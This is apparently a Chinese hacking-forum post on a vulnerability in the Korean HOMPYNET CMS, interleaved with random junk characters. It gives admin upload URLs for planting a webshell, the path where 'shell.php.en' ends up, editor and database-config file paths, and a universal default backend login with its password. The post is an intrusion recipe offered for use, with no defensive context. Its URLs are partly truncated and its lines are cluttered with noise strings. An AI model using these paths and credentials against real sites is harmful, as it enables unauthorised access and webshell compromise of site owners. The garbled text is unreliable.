韩国HOMPYNET CMS漏洞

admin

上传漏洞  :
0 ^  ]: w5 y4 F7 K% l" h6 J
  u2 _1 P" w2 B+ B' Ehttp://www.xxx.com/admin/image_a ... p;iname=&iform=

  j& _. [5 {) J2 Z4 Vhttp://www.xxx.com/admin/image_a ... p;iname=&iform=
' N" ^8 {& o" z2 h
1 q  Y" ]2 I7 z$ w7 M3 ^上传后路径：
# D2 K! U: z0 i" X6 k1 U% {9 M
/ ?; O2 s6 f1 v6 X) a% u# G# Yhttp://www.xxx.com/bis_web_page/images/shell.php.en
5 t' \9 ]# J7 N" J9 d/ T( h* q( o$ `6 W
3 V8 d4 J9 S' s& d8 J7 a! u编辑器：

; w. [! C  J2 mhttp://www.xxx.com/admin/editor/SWE.php
) r; O0 G3 K4 l: T
http://www.xxx.com/program/editor/SWE.php

数据配置文件路径：

http://www.xxx.com/m_config/DATA/g_setting.php
+ e8 A3 }! l+ T- O- O
- o) }/ ^6 T, ]3 q此程序通用后台账号 ：gamsiw  php99
- X. \' G% T# f3 M7 X. S9 H6 `$ ]
% T* ^1 W" J/ v% z4 s​
, p" |$ B, c& Y9 K, q  a) l
& y( w* Q4 y/ ?: f- E, F4 V